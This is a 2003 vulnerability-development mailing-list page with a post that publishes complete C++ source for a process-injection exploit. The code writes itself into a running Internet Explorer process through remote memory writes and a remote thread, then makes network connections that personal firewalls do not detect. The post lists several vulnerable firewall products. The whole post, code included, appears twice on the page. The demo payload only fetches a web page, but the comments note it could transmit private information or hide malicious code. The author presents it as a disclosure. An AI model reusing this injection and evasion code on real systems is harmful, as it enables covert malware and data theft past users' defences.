Vuln Dev
Back to list
|
Post reply
Bypassing Personal Firewalls
Feb 21 2003 12:35AM
xenophi1e (oliver lavery sympatico ca)
(1 replies)
Hi,
Here's a code snippet that injects code directly into a running process
without the need for a DLL etc. Demonstrates that process boundaries
under NT mean very little within the context of a given UID.
This allows PFWs to be bypassed, as well as making it very easy to hide
running malicious code on a system. The example is a 'sploit that makes a
connection from within IE, and slips under the radar of all PFWs I've
tested.
Having briefly discussed this with PFW vendors, it doesn't appear to be
much of a concern to them. I think it illustrates that OpenProcess,
ptrace, and the like should really enforce filesystem priviledges on the
processes they can modify.
///////////////////////////////////////////////////////////////////
// fw_bypass.cpp | thermite.exe
///////////////////////////////////////////////////////////////////
//
// (C) 2003 Oliver Lavery
//
// This program establishes socket connections and transfers information
in a manner
// which should be undetectable by all current personal firewall products.
//
// Tested on:
// Windows XP Professional SP1
// (should run on any NT variant)
//
// Known vulnerable:
// ZoneAlarm Pro 3.5 (all settings at highest)
// Zero-Knowledge Freedom Firewall
// Look'n'Stop 2.04
// Sygate Personal Firewall PRO (highest settings)
// Norton Personal Firewall 2003 (highest settings)
//
// (should smoke 'em all)
//
////
// Compile me with VC++ 98. Other compilers may work.
//
// /ML /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS"
// /D "_MBCS" /Fo"Release/" /Fd"Release/" /FD /c
// (no stack checking, no "catch release errors in debug", no incremental
linking.
// they all break stuff here)
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from
Windows headers
#include <windows.h>
#include <winsock2.h>
#include <tlhelp32.h>
//////////// Injected Code.//////////////
// This code is a bit funky. The idea here is to write C in such a way
that it is relocatable
// in the strictest sense of the word (can be passed accross process
boundaries at run-time).
// To do this the injected code has to contain no static references to
symbols that reside at
// a fixed memory address. Also this part of the code is incompatable
with incremental linking,
// and stack checking.
//
// There's really no advantage to doing this in C rather than assembly
other than the
// fact that it's cool. I wanted to see if it would be feasible to inject
C code for other,
// bigger projects.
// NB, please excuse the Hungarian notiation. I hate it too. When in
Rome...
//User32
typedef int (__stdcall *func_MessageBox)( HWND hWnd, LPCTSTR lpText,
LPCTSTR lpCaption, UINT uType );
//Wsock32
typedef SOCKET (__stdcall *func_socket)( int, int, int );
typedef unsigned long (__stdcall *func_inet_addr)( const char FAR *);
typedef u_short (__stdcall *func_htons)( u_short );
typedef int (__stdcall *func_connect)( SOCKET, const struct sockaddr
FAR*, int );
typedef int (__stdcall *func_send)( SOCKET, const char FAR *, int, int );
typedef int (__stdcall *func_recv)( SOCKET, char FAR*, int len, int
flags );
typedef int (__stdcall *func_WSAStartup) ( WORD wVersionRequested,
LPWSADATA lpWSAData );
//Kernel32
typedef HANDLE (__stdcall *func_CreateFile)( LPCTSTR, DWORD, DWORD,
LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE );
typedef BOOL (__stdcall *func_WriteFile)( HANDLE, LPCVOID, DWORD,
LPDWORD, LPOVERLAPPED );
typedef BOOL (__stdcall *func_CloseHandle)( HANDLE hObject );
typedef HMODULE (__stdcall *func_GetModuleHandle)( LPCTSTR );
typedef FARPROC (__stdcall *func_GetProcAddress)( HMODULE, LPCSTR );
typedef HINSTANCE (__stdcall *func_LoadLibrary)( LPCTSTR );
typedef struct _tag_inj_info {
func_GetModuleHandle GetModuleHandle;
func_GetProcAddress GetProcAddress;
func_LoadLibrary LoadLibrary;
char szRequest[128];
int lRequest;
char szFile[255];
char szAddr[32];
char szErrCmnt1[64];
char szErrCmnt2[64];
char szErrTitle1[64];
char szErrTitle2[64];
char szErrTitle3[64];
// module names
char szKernel32[32];
char szUser32[32];
char szWSock32[32];
// func names
char szMessageBox[32];
char szSocket[32];
char szInet_Addr[32];
char szHtons[32];
char szConnect[32];
char szSend[32];
char szRecv[32];
char szCreateFile[32];
char szWriteFile[32];
char szCloseHandle[32];
char szWSAStartup[32];
} inj_info ;
// Calls to the stack-checking routine must be disabled.
// VC++ doesn't always obey this pragma
#pragma check_stack(off)
// This function runs in IE's address space
static DWORD WINAPI ThreadFunc( inj_info *info )
{
HMODULE hKernel32, hWSock32, hUser32;
// User32
func_MessageBox l_MessageBox;
// Winsock2
func_WSAStartup l_WSAStartup;
func_socket l_socket;
func_inet_addr l_inet_addr;
func_htons l_htons;
func_connect l_connect;
func_send l_send;
func_recv l_recv;
// Kernel32
func_CreateFile l_CreateFile;
func_WriteFile l_WriteFile;
func_CloseHandle l_CloseHandle;
// locals for actual functionality
SOCKET s;
SOCKADDR_IN sa;
HANDLE outfile;
char buf[255];
DWORD count;
DWORD read, wrote, error;
BOOL needStartup;
WSADATA foo;
WORD wVersion;
count = 0;
wVersion = MAKEWORD( 2, 0 );
needStartup = FALSE;
// Dynamically bind API functions
hUser32 = info->GetModuleHandle( info->szUser32 );
if (hUser32 == NULL) hUser32 = info->LoadLibrary( info-
>szUser32 );
if (hUser32 == NULL) return 0;
l_MessageBox = (func_MessageBox) info->GetProcAddress( hUser32,
info->szMessageBox );
hKernel32 = info->GetModuleHandle( info->szKernel32 );
if (hKernel32 == NULL) hKernel32 = info->LoadLibrary( info-
>szKernel32 );
if (hKernel32 == NULL) {
l_MessageBox( NULL, info->szKernel32, info->szErrTitle3,
MB_OK );
return 0;
}
l_CreateFile = (func_CreateFile)info->GetProcAddress( hKernel32,
info->szCreateFile );
l_WriteFile = (func_WriteFile)info->GetProcAddress( hKernel32,
info->szWriteFile );
l_CloseHandle = (func_CloseHandle)info->GetProcAddress(
hKernel32, info->szCloseHandle );
hWSock32 = info->GetModuleHandle( info->szWSock32 );
if (hWSock32 == NULL) {
needStartup = TRUE;
hWSock32 = info->LoadLibrary( info->szWSock32 );
}
if (hWSock32 == NULL) {
l_MessageBox( NULL, info->szWSock32, info->szErrTitle3,
MB_OK );
return 0;
}
l_WSAStartup = (func_WSAStartup)info->GetProcAddress( hWSock32,
info->szWSAStartup );
l_socket = (func_socket)info->GetProcAddress( hWSock32, info-
>szSocket );
l_inet_addr = (func_inet_addr)info->GetProcAddress( hWSock32,
info->szInet_Addr );
l_htons = (func_htons)info->GetProcAddress( hWSock32, info-
>szHtons );
l_connect = (func_connect)info->GetProcAddress( hWSock32, info-
>szConnect );
l_send = (func_send)info->GetProcAddress( hWSock32, info-
>szSend );
l_recv = (func_recv)info->GetProcAddress( hWSock32, info-
>szRecv );
// Ok. Do stuff.
if ( needStartup )
{
l_WSAStartup(2, &foo);
}
s = l_socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = l_inet_addr( info->szAddr );
sa.sin_port = l_htons(80);
if ( ! (error = l_connect( s, (SOCKADDR *)&sa, sizeof(sa) ) ) ) {
outfile = l_CreateFile( info->szFile, GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
if ( outfile != INVALID_HANDLE_VALUE ) {
l_send( s, info->szRequest, info->lRequest, 0);
while ( read = l_recv( s, buf, 255, 0 ) ) {
l_WriteFile( outfile, buf, read, &wrote,
NULL );
}
l_CloseHandle( outfile );
} else {
l_MessageBox( NULL, info->szErrCmnt1, info-
>szErrTitle1, MB_OK );
}
} else {
l_MessageBox( NULL, info->szErrCmnt2, info->szErrTitle2,
MB_OK );
}
return 0;
// XXX forgot to close the socket.
}
static void AfterThreadFunc (void) {
}
#pragma check_stack
///////// "Normal" Code /////////////
void ErrorNotify(DWORD err, char *title)
{
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
err,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default
language
(LPTSTR) &lpMsgBuf,
0,
NULL
);
// Display the string.
MessageBox( NULL, (char *)lpMsgBuf, title,
MB_OK|MB_ICONINFORMATION );
// Free the buffer.
LocalFree( lpMsgBuf );
};
// Bits of this function are from M$ Research's Detours library.
// A great resource for ways to do 3vi1 stuff on windows, btw.
static BOOL InjectExploit(HANDLE hProcess)
{
BOOL fSucceeded = FALSE;
// The address where code will be copied to in the remote process.
PDWORD pdwCodeRemote = NULL;
// Calculate the number of bytes in the ThreadFunc function.
const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE)
ThreadFunc);
// The address where InjLibInfo will be copied to in the remote
process.
inj_info *pInjLibInfoRemote = NULL;
// The number of bytes written to the remote process.
DWORD dwNumBytesXferred = 0;
// The handle and Id of the thread executing the remote copy of
ThreadFunc.
DWORD dwThreadId = 0;
const DWORD cbMemSize = cbCodeSize + sizeof(inj_info) + 3;
HANDLE hThread = NULL;
DWORD dwOldProtect;
inj_info info = {
// functions used to run-time link. (always at same addresses on windows)
NULL, // GetModuleHandle
NULL, // GetProcAddress
NULL, // LoadLibrary
//// initialized data
"GET / HTTP/1.0\n\n\n",
strlen("GET / HTTP/1.0\n\n\n"),
"",
"205.206.231.12",
"Can't create file",
"Can't connect to securityfocus",
"File Error",
"Socket Error",
"Linking Error",
// module names
"kernel32.dll",
"user32.dll",
"wsock32.dll",
// func names
"MessageBoxA",
"socket",
"inet_addr",
"htons",
"connect",
"send",
"recv",
"CreateFileA",
"WriteFile",
"CloseHandle",
"WSAStartup"
};
GetCurrentDirectory( sizeof( info.szFile ), info.szFile );
strcat( info.szFile, "\\securityfocus.html");
HMODULE hKernel32;
hKernel32 = GetModuleHandle( "kernel32.dll" );
info.GetModuleHandle = (func_GetModuleHandle)GetProcAddress(
hKernel32, "GetModuleHandleA" );
info.GetProcAddress = (func_GetProcAddress)GetProcAddress(
hKernel32, "GetProcAddress" );
info.LoadLibrary = (func_LoadLibrary)GetProcAddress(
hKernel32, "LoadLibraryA" );
// Allocate memory in the remote process's address space large
// enough to hold our ThreadFunc function and a inj_info
structure.
pdwCodeRemote = (PDWORD)VirtualAllocEx(hProcess, NULL, cbMemSize,
MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (pdwCodeRemote == NULL) {
MessageBox( NULL, "IE not running. Please run IE, load a
page, and re-run this exploit.", "Can't find process", MB_OK);
ErrorNotify( GetLastError(), "VirtualAllocEx Failed" );
goto finish;
}
// Change the page protection of the allocated memory
// to executable, read, and write.
if (!VirtualProtectEx(hProcess, pdwCodeRemote, cbMemSize,
PAGE_EXECUTE_READWRITE,
&dwOldProtect)) {
ErrorNotify( GetLastError(), "VirtualProtectEx Failed" );
goto finish;
}
// Write a copy of ThreadFunc to the remote process.
if (!WriteProcessMemory(hProcess, pdwCodeRemote,
(LPVOID)
ThreadFunc, cbCodeSize, &dwNumBytesXferred)) {
ErrorNotify( GetLastError(), "WriteProcessMemory
Failed" );
goto finish;
}
// Write a copy of inj_info to the remote process
// (the structure MUST start on an even 32-bit boundary).
pInjLibInfoRemote = (inj_info *)(((PBYTE)pdwCodeRemote) +
((cbCodeSize + 4) & ~3));
// Put inj_info in remote thread's memory block.
if (!WriteProcessMemory(hProcess, pInjLibInfoRemote,
&info, sizeof
(info), &dwNumBytesXferred)) {
ErrorNotify( GetLastError(), "WriteProcessMemory2
Failed" );
goto finish;
}
if ((hThread = CreateRemoteThread(hProcess, NULL, 65536,
(LPTHREAD_START_ROUTINE)
pdwCodeRemote,
pInjLibInfoRemote, 0, &dwThreadId))
== NULL) {
ErrorNotify( GetLastError(), "CreateRemoteThread Failed" );
goto finish;
}
fSucceeded = TRUE;
finish:
if (hThread != NULL)
CloseHandle(hThread);
if (fSucceeded) MessageBox( NULL, ".\\securityfocus.html should
now contain the results of an HTTP request which in theory could have
transmitted your private information to a third party.\n"
"If you did not see a firewall warning, your firewall did
not detect the request and is vulnerable to this exploit."
, "Success", MB_OK );
return fSucceeded;
}
// There is no real reason to target IE, other than most users have it
running a lot, and it
// is usually allowed to bypass PFWs. Note that using the same technique
it would be easy to inject
// code to run a server inside another process as well, but IE is not
normally allowed to do this
// XXX there are better ways to get a PID.
DWORD GetIEProcessID( void )
{
HANDLE hSnap;
PROCESSENTRY32 ppe;
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
ppe.dwSize = sizeof( PROCESSENTRY32 );
Process32First( hSnap, &ppe );
while ( 1 ) {
if ( !stricmp( "iexplore.exe", ppe.szExeFile ) ) return
ppe.th32ProcessID;
if ( !Process32Next( hSnap, &ppe ) ) break;
}
CloseHandle( hSnap );
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
DWORD dwIE_PID = GetIEProcessID();
HANDLE hIE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwIE_PID);
// XYZZY!
InjectExploit( hIE );
return 0;
}
[ reply ]
Re: Bypassing Personal Firewalls
Feb 21 2003 04:38PM
H C (keydet89 yahoo com)
(1 replies)
RE: Bypassing Personal Firewalls
Feb 21 2003 05:01PM
Oliver Lavery (oliver lavery sympatico ca)
Privacy Statement
Copyright 2010, SecurityFocus
Hi,
Here's a code snippet that injects code directly into a running process
without the need for a DLL etc. Demonstrates that process boundaries
under NT mean very little within the context of a given UID.
This allows PFWs to be bypassed, as well as making it very easy to hide
running malicious code on a system. The example is a 'sploit that makes a
connection from within IE, and slips under the radar of all PFWs I've
tested.
Having briefly discussed this with PFW vendors, it doesn't appear to be
much of a concern to them. I think it illustrates that OpenProcess,
ptrace, and the like should really enforce filesystem priviledges on the
processes they can modify.
///////////////////////////////////////////////////////////////////
// fw_bypass.cpp | thermite.exe
///////////////////////////////////////////////////////////////////
//
// (C) 2003 Oliver Lavery
//
// This program establishes socket connections and transfers information
in a manner
// which should be undetectable by all current personal firewall products.
//
// Tested on:
// Windows XP Professional SP1
// (should run on any NT variant)
//
// Known vulnerable:
// ZoneAlarm Pro 3.5 (all settings at highest)
// Zero-Knowledge Freedom Firewall
// Look'n'Stop 2.04
// Sygate Personal Firewall PRO (highest settings)
// Norton Personal Firewall 2003 (highest settings)
//
// (should smoke 'em all)
//
////
// Compile me with VC++ 98. Other compilers may work.
//
// /ML /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS"
// /D "_MBCS" /Fo"Release/" /Fd"Release/" /FD /c
// (no stack checking, no "catch release errors in debug", no incremental
linking.
// they all break stuff here)
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from
Windows headers
#include <windows.h>
#include <winsock2.h>
#include <tlhelp32.h>
//////////// Injected Code.//////////////
// This code is a bit funky. The idea here is to write C in such a way
that it is relocatable
// in the strictest sense of the word (can be passed accross process
boundaries at run-time).
// To do this the injected code has to contain no static references to
symbols that reside at
// a fixed memory address. Also this part of the code is incompatable
with incremental linking,
// and stack checking.
//
// There's really no advantage to doing this in C rather than assembly
other than the
// fact that it's cool. I wanted to see if it would be feasible to inject
C code for other,
// bigger projects.
// NB, please excuse the Hungarian notiation. I hate it too. When in
Rome...
//User32
typedef int (__stdcall *func_MessageBox)( HWND hWnd, LPCTSTR lpText,
LPCTSTR lpCaption, UINT uType );
//Wsock32
typedef SOCKET (__stdcall *func_socket)( int, int, int );
typedef unsigned long (__stdcall *func_inet_addr)( const char FAR *);
typedef u_short (__stdcall *func_htons)( u_short );
typedef int (__stdcall *func_connect)( SOCKET, const struct sockaddr
FAR*, int );
typedef int (__stdcall *func_send)( SOCKET, const char FAR *, int, int );
typedef int (__stdcall *func_recv)( SOCKET, char FAR*, int len, int
flags );
typedef int (__stdcall *func_WSAStartup) ( WORD wVersionRequested,
LPWSADATA lpWSAData );
//Kernel32
typedef HANDLE (__stdcall *func_CreateFile)( LPCTSTR, DWORD, DWORD,
LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE );
typedef BOOL (__stdcall *func_WriteFile)( HANDLE, LPCVOID, DWORD,
LPDWORD, LPOVERLAPPED );
typedef BOOL (__stdcall *func_CloseHandle)( HANDLE hObject );
typedef HMODULE (__stdcall *func_GetModuleHandle)( LPCTSTR );
typedef FARPROC (__stdcall *func_GetProcAddress)( HMODULE, LPCSTR );
typedef HINSTANCE (__stdcall *func_LoadLibrary)( LPCTSTR );
typedef struct _tag_inj_info {
func_GetModuleHandle GetModuleHandle;
func_GetProcAddress GetProcAddress;
func_LoadLibrary LoadLibrary;
char szRequest[128];
int lRequest;
char szFile[255];
char szAddr[32];
char szErrCmnt1[64];
char szErrCmnt2[64];
char szErrTitle1[64];
char szErrTitle2[64];
char szErrTitle3[64];
// module names
char szKernel32[32];
char szUser32[32];
char szWSock32[32];
// func names
char szMessageBox[32];
char szSocket[32];
char szInet_Addr[32];
char szHtons[32];
char szConnect[32];
char szSend[32];
char szRecv[32];
char szCreateFile[32];
char szWriteFile[32];
char szCloseHandle[32];
char szWSAStartup[32];
} inj_info ;
// Calls to the stack-checking routine must be disabled.
// VC++ doesn't always obey this pragma
#pragma check_stack(off)
// This function runs in IE's address space
static DWORD WINAPI ThreadFunc( inj_info *info )
{
HMODULE hKernel32, hWSock32, hUser32;
// User32
func_MessageBox l_MessageBox;
// Winsock2
func_WSAStartup l_WSAStartup;
func_socket l_socket;
func_inet_addr l_inet_addr;
func_htons l_htons;
func_connect l_connect;
func_send l_send;
func_recv l_recv;
// Kernel32
func_CreateFile l_CreateFile;
func_WriteFile l_WriteFile;
func_CloseHandle l_CloseHandle;
// locals for actual functionality
SOCKET s;
SOCKADDR_IN sa;
HANDLE outfile;
char buf[255];
DWORD count;
DWORD read, wrote, error;
BOOL needStartup;
WSADATA foo;
WORD wVersion;
count = 0;
wVersion = MAKEWORD( 2, 0 );
needStartup = FALSE;
// Dynamically bind API functions
hUser32 = info->GetModuleHandle( info->szUser32 );
if (hUser32 == NULL) hUser32 = info->LoadLibrary( info-
>szUser32 );
if (hUser32 == NULL) return 0;
l_MessageBox = (func_MessageBox) info->GetProcAddress( hUser32,
info->szMessageBox );
hKernel32 = info->GetModuleHandle( info->szKernel32 );
if (hKernel32 == NULL) hKernel32 = info->LoadLibrary( info-
>szKernel32 );
if (hKernel32 == NULL) {
l_MessageBox( NULL, info->szKernel32, info->szErrTitle3,
MB_OK );
return 0;
}
l_CreateFile = (func_CreateFile)info->GetProcAddress( hKernel32,
info->szCreateFile );
l_WriteFile = (func_WriteFile)info->GetProcAddress( hKernel32,
info->szWriteFile );
l_CloseHandle = (func_CloseHandle)info->GetProcAddress(
hKernel32, info->szCloseHandle );
hWSock32 = info->GetModuleHandle( info->szWSock32 );
if (hWSock32 == NULL) {
needStartup = TRUE;
hWSock32 = info->LoadLibrary( info->szWSock32 );
}
if (hWSock32 == NULL) {
l_MessageBox( NULL, info->szWSock32, info->szErrTitle3,
MB_OK );
return 0;
}
l_WSAStartup = (func_WSAStartup)info->GetProcAddress( hWSock32,
info->szWSAStartup );
l_socket = (func_socket)info->GetProcAddress( hWSock32, info-
>szSocket );
l_inet_addr = (func_inet_addr)info->GetProcAddress( hWSock32,
info->szInet_Addr );
l_htons = (func_htons)info->GetProcAddress( hWSock32, info-
>szHtons );
l_connect = (func_connect)info->GetProcAddress( hWSock32, info-
>szConnect );
l_send = (func_send)info->GetProcAddress( hWSock32, info-
>szSend );
l_recv = (func_recv)info->GetProcAddress( hWSock32, info-
>szRecv );
// Ok. Do stuff.
if ( needStartup )
{
l_WSAStartup(2, &foo);
}
s = l_socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = l_inet_addr( info->szAddr );
sa.sin_port = l_htons(80);
if ( ! (error = l_connect( s, (SOCKADDR *)&sa, sizeof(sa) ) ) ) {
outfile = l_CreateFile( info->szFile, GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
if ( outfile != INVALID_HANDLE_VALUE ) {
l_send( s, info->szRequest, info->lRequest, 0);
while ( read = l_recv( s, buf, 255, 0 ) ) {
l_WriteFile( outfile, buf, read, &wrote,
NULL );
}
l_CloseHandle( outfile );
} else {
l_MessageBox( NULL, info->szErrCmnt1, info-
>szErrTitle1, MB_OK );
}
} else {
l_MessageBox( NULL, info->szErrCmnt2, info->szErrTitle2,
MB_OK );
}
return 0;
// XXX forgot to close the socket.
}
static void AfterThreadFunc (void) {
}
#pragma check_stack
///////// "Normal" Code /////////////
void ErrorNotify(DWORD err, char *title)
{
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
err,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default
language
(LPTSTR) &lpMsgBuf,
0,
NULL
);
// Display the string.
MessageBox( NULL, (char *)lpMsgBuf, title,
MB_OK|MB_ICONINFORMATION );
// Free the buffer.
LocalFree( lpMsgBuf );
};
// Bits of this function are from M$ Research's Detours library.
// A great resource for ways to do 3vi1 stuff on windows, btw.
static BOOL InjectExploit(HANDLE hProcess)
{
BOOL fSucceeded = FALSE;
// The address where code will be copied to in the remote process.
PDWORD pdwCodeRemote = NULL;
// Calculate the number of bytes in the ThreadFunc function.
const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE)
ThreadFunc);
// The address where InjLibInfo will be copied to in the remote
process.
inj_info *pInjLibInfoRemote = NULL;
// The number of bytes written to the remote process.
DWORD dwNumBytesXferred = 0;
// The handle and Id of the thread executing the remote copy of
ThreadFunc.
DWORD dwThreadId = 0;
const DWORD cbMemSize = cbCodeSize + sizeof(inj_info) + 3;
HANDLE hThread = NULL;
DWORD dwOldProtect;
inj_info info = {
// functions used to run-time link. (always at same addresses on windows)
NULL, // GetModuleHandle
NULL, // GetProcAddress
NULL, // LoadLibrary
//// initialized data
"GET / HTTP/1.0\n\n\n",
strlen("GET / HTTP/1.0\n\n\n"),
"",
"205.206.231.12",
"Can't create file",
"Can't connect to securityfocus",
"File Error",
"Socket Error",
"Linking Error",
// module names
"kernel32.dll",
"user32.dll",
"wsock32.dll",
// func names
"MessageBoxA",
"socket",
"inet_addr",
"htons",
"connect",
"send",
"recv",
"CreateFileA",
"WriteFile",
"CloseHandle",
"WSAStartup"
};
GetCurrentDirectory( sizeof( info.szFile ), info.szFile );
strcat( info.szFile, "\\securityfocus.html");
HMODULE hKernel32;
hKernel32 = GetModuleHandle( "kernel32.dll" );
info.GetModuleHandle = (func_GetModuleHandle)GetProcAddress(
hKernel32, "GetModuleHandleA" );
info.GetProcAddress = (func_GetProcAddress)GetProcAddress(
hKernel32, "GetProcAddress" );
info.LoadLibrary = (func_LoadLibrary)GetProcAddress(
hKernel32, "LoadLibraryA" );
// Allocate memory in the remote process's address space large
// enough to hold our ThreadFunc function and a inj_info
structure.
pdwCodeRemote = (PDWORD)VirtualAllocEx(hProcess, NULL, cbMemSize,
MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (pdwCodeRemote == NULL) {
MessageBox( NULL, "IE not running. Please run IE, load a
page, and re-run this exploit.", "Can't find process", MB_OK);
ErrorNotify( GetLastError(), "VirtualAllocEx Failed" );
goto finish;
}
// Change the page protection of the allocated memory
// to executable, read, and write.
if (!VirtualProtectEx(hProcess, pdwCodeRemote, cbMemSize,
PAGE_EXECUTE_READWRITE,
&dwOldProtect)) {
ErrorNotify( GetLastError(), "VirtualProtectEx Failed" );
goto finish;
}
// Write a copy of ThreadFunc to the remote process.
if (!WriteProcessMemory(hProcess, pdwCodeRemote,
(LPVOID)
ThreadFunc, cbCodeSize, &dwNumBytesXferred)) {
ErrorNotify( GetLastError(), "WriteProcessMemory
Failed" );
goto finish;
}
// Write a copy of inj_info to the remote process
// (the structure MUST start on an even 32-bit boundary).
pInjLibInfoRemote = (inj_info *)(((PBYTE)pdwCodeRemote) +
((cbCodeSize + 4) & ~3));
// Put inj_info in remote thread's memory block.
if (!WriteProcessMemory(hProcess, pInjLibInfoRemote,
&info, sizeof
(info), &dwNumBytesXferred)) {
ErrorNotify( GetLastError(), "WriteProcessMemory2
Failed" );
goto finish;
}
if ((hThread = CreateRemoteThread(hProcess, NULL, 65536,
(LPTHREAD_START_ROUTINE)
pdwCodeRemote,
pInjLibInfoRemote, 0, &dwThreadId))
== NULL) {
ErrorNotify( GetLastError(), "CreateRemoteThread Failed" );
goto finish;
}
fSucceeded = TRUE;
finish:
if (hThread != NULL)
CloseHandle(hThread);
if (fSucceeded) MessageBox( NULL, ".\\securityfocus.html should
now contain the results of an HTTP request which in theory could have
transmitted your private information to a third party.\n"
"If you did not see a firewall warning, your firewall did
not detect the request and is vulnerable to this exploit."
, "Success", MB_OK );
return fSucceeded;
}
// There is no real reason to target IE, other than most users have it
running a lot, and it
// is usually allowed to bypass PFWs. Note that using the same technique
it would be easy to inject
// code to run a server inside another process as well, but IE is not
normally allowed to do this
// XXX there are better ways to get a PID.
DWORD GetIEProcessID( void )
{
HANDLE hSnap;
PROCESSENTRY32 ppe;
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
ppe.dwSize = sizeof( PROCESSENTRY32 );
Process32First( hSnap, &ppe );
while ( 1 ) {
if ( !stricmp( "iexplore.exe", ppe.szExeFile ) ) return
ppe.th32ProcessID;
if ( !Process32Next( hSnap, &ppe ) ) break;
}
CloseHandle( hSnap );
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
DWORD dwIE_PID = GetIEProcessID();
HANDLE hIE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwIE_PID);
// XYZZY!
InjectExploit( hIE );
return 0;
}
[ reply ]